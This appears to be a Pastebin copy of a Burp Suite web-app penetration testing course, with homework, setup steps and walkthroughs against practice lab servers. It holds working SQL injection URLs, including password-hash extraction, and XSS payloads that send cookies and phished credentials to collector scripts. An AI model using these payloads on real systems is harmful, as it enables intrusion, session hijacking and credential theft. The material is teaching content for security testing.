Advertisement
joemccray

Burp Suite Bootcamp

Dec 6th, 2015
10,583
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.18 KB | None | 0 0
  1. ####################
  2. # Course Materials #
  3. ####################
  4.  
  5. Slides:
  6. https://s3.amazonaws.com/infosecaddictsfiles/WebAppSecIsNotEasyButCanBeSimple.pptx
  7. https://s3.amazonaws.com/infosecaddictsfiles/Burp+Suite.pptx
  8.  
  9.  
  10. Lab Manual:
  11. https://s3.amazonaws.com/infosecaddictsfiles/BurpSuite-Bootcamp-v1.pdf
  12.  
  13.  
  14.  
  15. Day 1 Homework:
  16. Here is a good reference of how to use Burp to look for OWASP Top 10 vulnerabilities:
  17. https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
  18.  
  19.  
  20. Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
  21. http://54.213.252.28/
  22. http://40.86.183.118/
  23.  
  24. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Homework.docx)
  25.  
  26. Day 1 Challenge:
  27. Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
  28. http://strategicsec.com
  29. http://54.213.131.105/
  30.  
  31. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Challenge.docx)
  32.  
  33.  
  34. Day 2 Homework:
  35. Here are some sample web app penetration test reports from other companies that you can look at:
  36. https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip
  37.  
  38. I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
  39.  
  40.  
  41. Day 2 Challenge:
  42. ----------------------------------
  43. Use the StrategicSec Ubuntu VM to demonstrate how to install, configure, and use at least five (5) of the following Burp Suite extensions from these websites and lists below:
  44. https://github.com/integrissecurity/carbonator
  45. https://github.com/allfro/BurpKit
  46. https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
  47. https://github.com/Quitten/Autorize
  48. https://github.com/codewatchorg/sqlipy
  49. https://github.com/augustd/burp-suite-token-fetcher
  50. https://github.com/augustd/burp-suite-gwt-scan
  51.  
  52. https://webbreacher.wordpress.com/2015/07/25/my-favorite-burp-suite-extensions/
  53. http://bughunting.guide/the-top-5-burp-suite-extensions/
  54. https://www.codemagi.com/downloads/
  55.  
  56.  
  57.  
  58. You must use them against your choice of targets the following targets:
  59. http://strategicsec.com
  60. http://54.213.252.28/
  61. http://40.86.183.118/
  62. http://54.213.131.105/
  63.  
  64. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day2-Challenge.docx)
  65.  
  66.  
  67.  
  68. ##########
  69. # VMWare #
  70. ##########
  71. - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
  72.  
  73. - A 30-day trial of Workstation 11 can be downloaded from here:
  74. - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/11_0
  75.  
  76. - A 30-day trial of Fusion 7 can be downloaded from here:
  77. - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/7_0
  78.  
  79. - The newest version of VMWare Player can be downloaded from here:
  80. - https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/7_0
  81.  
  82.  
  83. - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
  84.  
  85.  
  86. ##########################
  87. # Download the attack VM #
  88. ##########################
  89. https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
  90. user: infosecaddicts
  91. pass: infosecaddicts
  92.  
  93.  
  94. ##################################
  95. # Basic: Web Application Testing #
  96. ##################################
  97.  
  98. Most people are going to tell you reference the OWASP Testing guide.
  99. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  100.  
  101. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  102.  
  103.  
  104. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  105.  
  106. 1. Does the website talk to a DB?
  107. - Look for parameter passing (ex: site.com/page.php?id=4)
  108. - If yes - try SQL Injection
  109.  
  110. 2. Can I or someone else see what I type?
  111. - If yes - try XSS
  112.  
  113. 3. Does the page reference a file?
  114. - If yes - try LFI/RFI
  115.  
  116. Let's start with some manual testing against 54.213.100.93
  117.  
  118.  
  119. Start here:
  120. http://54.213.252.28/
  121.  
  122.  
  123. There's no parameter passing on the home page so the answer to question 1 is NO.
  124. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  125.  
  126. Try an XSS in the search box on the home page:
  127. <script>alert(123);</script>
  128.  
  129. Doing this gives us the following in the address bar:
  130. http://54.213.252.28/BasicSearch.aspx?Word=<script>alert(123);</script>
  131.  
  132. Ok, so we've verified that there is XSS in the search box.
  133.  
  134. Let's move on to the search box in the left of the page.
  135.  
  136. Let's give the newsletter signup box a shot
  137.  
  138. Moving on to the login page.
  139. http://54.213.252.28/login.aspx
  140.  
  141. I entered a single quote (') for both the user name and the password. I got the following error:
  142.  
  143. -----------------------------------------------------------------
  144. 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  145. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  146.  
  147. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  148.  
  149. Source Error:
  150.  
  151.  
  152. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  153. Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  154. Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
  155. Line 115: //String test = xmln.ToString();
  156. Line 116: if (xmln.Count > 0)
  157.  
  158. -----------------------------------------------------------------
  159.  
  160.  
  161. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  162.  
  163. WTF is this:
  164. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  165.  
  166.  
  167.  
  168.  
  169. In this case you'll have the trap the request with a proxy like:
  170. - Firefox Tamper Data
  171. - Burp Suite http://www.portswigger.net/Burp/proxy.html
  172. - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
  173. - Rat Proxy https://code.google.com/p/ratproxy/
  174. - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  175. - Paros http://sourceforge.net/projects/paros/
  176.  
  177.  
  178.  
  179. Let's go back to that page error message.....
  180.  
  181.  
  182. Let's check it out:
  183. http://54.213.252.28/AuthInfo.xml
  184.  
  185. Looks like we found passwords!!!!!!!!!!
  186.  
  187.  
  188. Looks like there no significant new functionality after logging in with the stolen credentials.
  189.  
  190. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  191.  
  192.  
  193. http://54.213.252.28/bookdetail.aspx?id=2
  194.  
  195.  
  196. Ok, there is parameter passing (bookdetail.aspx?id=2).
  197.  
  198. The page name is: bookdetail.aspx
  199. The parameter name is: id
  200. The paramber value is: 2
  201.  
  202.  
  203. Let's try throwing a single quote (') in there:
  204.  
  205. http://54.213.252.28/bookdetail.aspx?id=2'
  206.  
  207.  
  208. I get the following error:
  209.  
  210. Unclosed quotation mark after the character string ''.
  211. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  212.  
  213. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224. #############################################################################
  225. # SQL Injection #
  226. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  227. #############################################################################
  228.  
  229.  
  230. - Another quick way to test for SQLI is to remove the paramter value
  231.  
  232.  
  233. #############################
  234. # Error-Based SQL Injection #
  235. #############################
  236. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  237. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  238. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  239. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  240. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  241. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  242. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  243. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  244. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  245.  
  246.  
  247.  
  248.  
  249. #############################
  250. # Union-Based SQL Injection #
  251. #############################
  252. http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
  253. http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
  254. http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
  255. http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
  256. http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
  257. http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
  258. http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
  259. http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
  260. http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
  261. http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  262.  
  263. We are using a union select statement because we are joining the developer's query with one of our own.
  264. Reference:
  265. http://www.techonthenet.com/sql/union.php
  266. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  267. It removes duplicate rows between the various SELECT statements.
  268.  
  269. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  270.  
  271. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  272.  
  273. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  274.  
  275. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  276. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  277. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  278. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  279.  
  280.  
  281.  
  282.  
  283.  
  284. - Another way is to see if you can get the backend to perform an arithmetic function
  285. http://54.213.252.28/bookdetail.aspx?id=(2)
  286. http://54.213.252.28/bookdetail.aspx?id=(4-2)
  287. http://54.213.252.28/bookdetail.aspx?id=(4-1)
  288.  
  289.  
  290.  
  291. http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
  292. http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
  293. http://54.213.252.28/bookdetail.aspx?id=1*1
  294. http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
  295. http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
  296. http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
  297. http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
  298. http://54.213.252.28/bookdetail.aspx?id=2 &0#
  299.  
  300.  
  301.  
  302.  
  303.  
  304. ###############################
  305. # Blind SQL Injection Testing #
  306. ###############################
  307. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  308.  
  309. 3 - Total Characters
  310. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  311. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  312. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  313.  
  314. Let's go for a quick check to see if it's DBO
  315. http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  316.  
  317. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  318.  
  319. D - 1st Character
  320. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  321. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  322. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  323. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  324.  
  325. B - 2nd Character
  326. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  327. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  328.  
  329. O - 3rd Character
  330. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  331. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  332. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  333. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  334. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  335. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  336.  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346. ###################################################################
  347. # What is XSS #
  348. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  349. ###################################################################
  350.  
  351. OK - what is Cross Site Scripting (XSS)
  352.  
  353. 1. Use Firefox to browse to the following location:
  354.  
  355. http://40.86.183.118/xss_practice/
  356.  
  357. A really simple search page that is vulnerable should come up.
  358.  
  359.  
  360.  
  361.  
  362. 2. In the search box type:
  363.  
  364. <script>alert('So this is XSS')</script>
  365.  
  366.  
  367. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  368. Ok, click OK and then click back and go back to http://40.86.183.118/xss_practice/
  369.  
  370.  
  371. 3. In the search box type:
  372.  
  373. <script>alert(document.cookie)</script>
  374.  
  375.  
  376. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  377. Ok, click OK and then click back and go back to http://40.86.183.118/xss_practice/
  378.  
  379. 4. Now replace that alert script with:
  380.  
  381. <script>document.location="http://40.86.183.118/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  382.  
  383.  
  384. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  385.  
  386.  
  387. 5. Now view the stolen cookie at:
  388. http://40.86.183.118/xss_practice/cookie_stealer_logs.html
  389.  
  390.  
  391. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398. ############################
  399. # A Better Way To Demo XSS #
  400. ############################
  401.  
  402.  
  403. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  404.  
  405.  
  406. Use Firefox to browse to the following location:
  407.  
  408. http://40.86.183.118/xss_practice/
  409.  
  410.  
  411.  
  412. Paste this in the search box
  413. ----------------------------
  414.  
  415.  
  416. Option 1
  417. --------
  418.  
  419. <script>
  420. password=prompt('Your session is expired. Please enter your password to continue',' ');
  421. document.write("<img src=\"http://40.86.183.118/xss_practice/passwordgrabber.php?password=" +password+"\">");
  422. </script>
  423.  
  424.  
  425. Now view the stolen cookie at:
  426. http://40.86.183.118/xss_practice/passwords.html
  427.  
  428.  
  429.  
  430. Option 2
  431. --------
  432. <script>
  433. username=prompt('Please enter your username',' ');
  434. password=prompt('Please enter your password',' ');
  435. document.write("<img src=\"http://40.86.183.118/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  436. </script>
  437.  
  438.  
  439.  
  440.  
  441. Now view the stolen cookie at:
  442. http://40.86.183.118/xss_practice/username_password_logs.html
  443.  
  444. #########################
  445. # Setting up Burp Suite #
  446. #########################
  447. Download latest free version of Burp at http://www.portswigger.net/burp/download.html
  448. Make sure that burpsuite_free_v1.6.31.jar is set as executable (chmod +x burpsuite_free_v1.6.31.jar) and then run:
  449.  
  450. java -jar burpsuite_free_v1.6.31.jar
  451.  
  452. - Click the "Proxy" tab
  453. - Click the "Options" sub tab
  454. - Click “Edit” in the “Proxy Listeners” section
  455. - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
  456. - In the same pop up make sure that the bind port is 8080
  457. - In the same pop up select the “Certificate” tab
  458. - Ensure that burp is configured to "generate CA-signed per-host certificates"
  459.  
  460. Open Firefox
  461. - Click "Edit"
  462. - Click “Preferences"
  463. - Click the "Advanced" tab
  464. - Click the "Network" sub tab
  465. - Click the connection "settings" button
  466. - Click "manual proxy configuration"
  467. set it to 127.0.0.1 port 8080
  468. check "Use this proxy server for all protocols"
  469. - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
  470.  
  471.  
  472. Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
  473.  
  474. Visit any SSL-protected URL.
  475.  
  476. On the “This Connection is Untrusted” screen, click on “Add Exception”
  477. Click "Get Certificate", then click "View".
  478.  
  479. In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
  480.  
  481. Click "Export" and save the certificate as "BurpCert" on the Desktop.
  482.  
  483. Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
  484. Go to Edit | Preferences
  485. Click “Advanced” and go to “Certificates” tab
  486. Click “View Certificates”
  487.  
  488. Click "Import" and select the certificate file that you previously saved.
  489.  
  490. On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
  491.  
  492. Close all dialogs and restart Firefox
  493.  
  494.  
  495.  
  496. ################
  497. # Web Servcies #
  498. ################
  499. http://data.serviceplatform.org/wsdl_grabbing/seekda-wsdls.with_ini/36-CurrencyConvertor.wsdl
  500.  
  501. ###############################################################
  502. # Question 1: What is the process that you use when you test? #
  503. ###############################################################
  504.  
  505. Step 1: Automated Testing
  506.  
  507. Step 1a: Web Application vulnerability scanners
  508. -----------------------------------------------
  509. - Run two (2) unauthenticated vulnerability scans against the target
  510. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  511. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  512.  
  513. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  514.  
  515. A good web application vulnerability scanner comparison website is here:
  516. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  517.  
  518.  
  519. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  520.  
  521. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  522.  
  523.  
  524. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  525.  
  526.  
  527. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  528.  
  529.  
  530.  
  531. Step 1b: Directory Brute Forcer
  532. -------------------------------
  533. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  534.  
  535.  
  536.  
  537. Step 2: Manual Testing
  538.  
  539. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  540.  
  541. Step 2a: Spider/Scan the entire site with Burp Suite
  542. Save the spider and scan results. I usually provide this data to the customer as well.
  543.  
  544.  
  545. Step 2b: Browse through the site using the 3 question method
  546. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  547.  
  548. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  549.  
  550. Here is what I mean:
  551. http://www.site.com/page.aspx?parametername=parametervalue
  552.  
  553. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  554.  
  555. http://www.site.com/page.aspx?parametername=[ payload ]
  556.  
  557. You need to ensure that you send the payload this way, and like this below:
  558.  
  559. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  560.  
  561. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  562.  
  563.  
  564.  
  565.  
  566.  
  567.  
  568.  
  569. ###########################################
  570. # Question 2: How much fuzzing is enough? #
  571. ###########################################
  572. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  573.  
  574. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  575.  
  576.  
  577. Step 1: Ask yourself the 3 questions per page of the site.
  578.  
  579. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  580.  
  581. Step 3: When you load your fuzz strings - use the following decision tree
  582.  
  583. - Are the fuzz strings causing a default error message (example 404)?
  584. - If this is the case then it is most likely NOT vulnerable
  585.  
  586. - Are the fuzz strings causing a WAF or LB custom error message?
  587. - If this is the case then you need to find an encoding method to bypass
  588.  
  589.  
  590. - Are the fuzz strings causing an error message that discloses the backend type?
  591. - If yes, then identify DB type and find correct syntax to successfully exploit
  592. - Some example strings that I use are:
  593. '
  594. "
  595. () <----- Take the parameter value and put it in parenthesis
  596. (5-1) <----- See if you can perform an arithmetic function
  597.  
  598.  
  599. - Are the fuzz strings rendering executable code?
  600. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  601. - Some example strings that I use are:
  602. <b>hello</b>
  603. <u>hello</u>
  604. <script>alert(123);</script>
  605. <script>alert(xss);</script>
  606. <script>alert('xss');</script>
  607. <script>alert("xss");</script>
  608.  
  609.  
  610. ---------------------------------------------------------------------------------------------------------
  611. #############################
  612. # Tricky stuff to play with #
  613. #############################
  614.  
  615.  
  616.  
  617.  
  618.  
  619. ###################
  620. # Nikto with Burp #
  621. # in Linux #
  622. ###################
  623.  
  624. cd ~/toolz/
  625.  
  626. rm -rf nikto*
  627.  
  628. git clone https://github.com/sullo/nikto.git Nikto2
  629.  
  630. cd Nikto2/program
  631.  
  632. perl nikto -h http://zero.webappsecurity.com -useproxy http://localhost:8080/
  633.  
  634. -----------------
  635. Masking the Nikto header reference:
  636. http://carnal0wnage.attackresearch.com/2009/09/btod-nikto-thru-burp-masking-nikto.html
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement